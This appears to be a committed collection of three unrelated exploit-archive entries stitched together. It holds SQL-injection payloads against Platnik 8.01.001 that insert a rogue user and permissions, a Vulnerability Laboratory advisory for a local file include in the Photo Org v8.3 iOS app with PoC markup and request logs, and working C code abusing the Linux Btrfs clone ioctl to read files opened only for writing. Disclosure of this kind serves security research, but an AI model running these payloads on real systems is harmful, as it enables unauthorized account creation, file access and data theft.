Commit a4102ef

source: http://www.securityfocus.com/bid/40201/info

Platnik is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Platnik 8.01.001 is affected; other versions may also be vulnerable.

INSERT INTO dbo.UZYTKOWNIK VALUES('LOGIN', 'TEST', 'TEST', 'password hash', '2010-02-28 15:46:48', null, 'A', null)--

INSERT INTO dbo.UPRAWNIENIA VALUES(id_user, id_platnik)--

or 1=1--

Document Title:

===============

Photo Org WonderApplications v8.3 iOS - File Include Vulnerability

References (Source):

====================

http://www.vulnerability-lab.com/get_content.php?id=1277

Release Date:

=============

2014-07-04

Vulnerability Laboratory ID (VL-ID):

====================================

1277

Common Vulnerability Scoring System:

====================================

7.1

Product & Service Introduction:

===============================

Create great photo albums and video diaries with PhotoOrg. Keep your photo album and video diary secured with passwords.

Share your photo albums and video diary on Facebook, Twitter, Youtube, Picasa, Flickr and MySpace with family, friends

and business associates.

Photo Editor with the following ability:

-Over eleven photo effects

-Four different photo enhancer

-Rotate and flip photo

-Crop photo

-Change photo brightness

-Change photo Contrast

-Change photo saturation

-Change photo sharpness

-Draw on photo with different colors

-Write text on your photo

-Remove red eyes

-Whiten photo

-Remove blemish on photo

Features:

-view your pictures and videos using your browser

-upload your picture and video using your browser

-upload video to Youtube, Picasa, Facebook, Twitter, Flickr and MySpace

-upload multiple pictures to Facebook, Twitter, Flickr and MySpace

-Keep your photo and videos organized the way you like it

-Keep your photo and video secured with password

-copy your photo and video from anywhere and paste them into the application

( Copy of the Homepage: https://itunes.apple.com/us/app/photo-org/id330740156 )

Abstract Advisory Information:

==============================

The Vulnerability Laboratory Research Team discovered a local file include vulnerability in the official WonderApplications Photo Org v8.3 iOS web-application.

Vulnerability Disclosure Timeline:

==================================

2014-07-04: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

WonderApplications

Product: Photo Org L - iOS Mobile Application 8.3

Exploitation Technique:

=======================

Local

Severity Level:

===============

High

Technical Details & Description:

================================

A local file include web vulnerability has been discovered in the official WonderApplications Photo Org v8.3 iOS web-application.

The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific

path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `uploadMedia` (uploadfile) module. Remote attackers are able to inject

own files with malicious `filename` values in the `uploadMedia` POST method request to compromise the mobile web-application. The local

file/path include execution occcurs in the index file/folder list context next to the vulnerable name/path value. The attacker is able

to inject the local file request by usage of the available `wifi interface` for file exchange/share.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute

different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to

inject is POST.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system)

count of 7.1. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low

user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected

device component compromise.

Request Method(s):

[+] [POST]

Vulnerable Service(s):

[+] WonderApplications - WiFi Share

Vulnerable Module(s):

[+] uploadMedia

Vulnerable Parameter(s):

[+] filename

Affected Module(s):

[+] Index File/Folder Dir Listing (http://localhost:[port-x]/)

Proof of Concept (PoC):

=======================

The local file inlcude web vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: WonderApplications (Photo & Video) - Index- & Sub-Categories

<html><head><style type="text/css">

ul {float:left; width:100%; padding:0; margin:0; list-style-type:none; }

a { float:left; width:6em; text-decoration:none; color:white; background-color:purple; padding:0.2em 0.6em; border-right:1px solid white; }

a:hover {background-color:#ff3300} li {display:inline} table {float:left} </style></head>

<body><h1 style="color:orange;text-align:center">WonderApplications</h1><ul> <li><a href="Photo_33457298432">Foto</a></li>

<li><a href="Video_33457298432">Video</a></li> <li><a href="Load_33457298432">Load</a></li> </ul><table border="1"><tbody><tr><td>

<a href="abcde"><img src="http://localhost:8080/var/mobile/Applications/FB0FAD2F-8D06-4485-879B-0452C05067EC/Documents/mediaPath/00/C01FCCB0-DBDA-4A80-8C6A-67F02D3FE0A9.PNG" alt="abcde"></a>

<br \=""> abcde </td><td> <a href="abcdef ././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip">

<img src="http://localhost:8080/././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip/

FB0FAD2F-8D06-4485-879B-0452C05067EC/Documents/mediaPath/00/6EFCA2A7-E8F8-4251-8EFB-85EF327998FF.PNG"

alt="abcdef <././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip"></a> <br \="">

abcdef <././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip">

</td></table></body></html></iframe></td></tr></tbody></table></body></html>

--- Poc Session Logs [POST] ---

Status: 200[OK]

POST http://localhost:8080/uploadMedia Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[unknown] Mime Type[unknown]

Request Header:

Host[localhost:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Accept-Encoding[gzip, deflate]

Referer[http://localhost:8080/uploadMedia]

POST-Daten:

POST_DATA[-----------------------------276732337522317

Content-Disposition: form-data; name="file"; filename="././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip"

Content-Type: application/zip

-

20:40:52.394[62ms][total 79ms] Status: 200[OK]

GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[2874] Mime Type[text/html]

Request Header:

Host[localhost:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Accept-Encoding[gzip, deflate]

Connection[keep-alive]

Response Header:

Connection[Keep-Alive]

Content-Type[text/html]

Content-Length[2874]

Reference(s):

http://localhost:8080/

http://localhost:8080/uploadMedia

http://localhost:8080/var/mobile/Applications/

Solution - Fix & Patch:

=======================

The local file include web vulnerability bug can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request.

Encode also the filename value in the file dir listing of the index and sub categories.

Restrict the filename value name input and prevent executions by a secure file filter on upload extension or the name validation itself.

Security Risk:

==============

The security risk of the local file include web vulnerability in the filename value is estimated as high.

Credits & Authors:

==================

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:

=========================

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--

VULNERABILITY LABORATORY RESEARCH TEAM

DOMAIN: www.vulnerability-lab.com

CONTACT: research@vulnerability-lab.com

source: http://www.securityfocus.com/bid/40241/info

The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation.

An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks.

#include <fcntl.h>

#include <sys/ioctl.h>

#include <stdio.h>

#include <stdlib.h>

#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)

int main(int argc, char * argv[])

{

if(argc < 3) {

printf("Usage: %s [target] [output]\n", argv[0]);

exit(-1);

}

int output = open(argv[2], O_WRONLY | O_CREAT, 0644);

/* Note - opened for writing, not reading */

int target = open(argv[1], O_WRONLY);

ioctl(output, BTRFS_IOC_CLONE, target);

}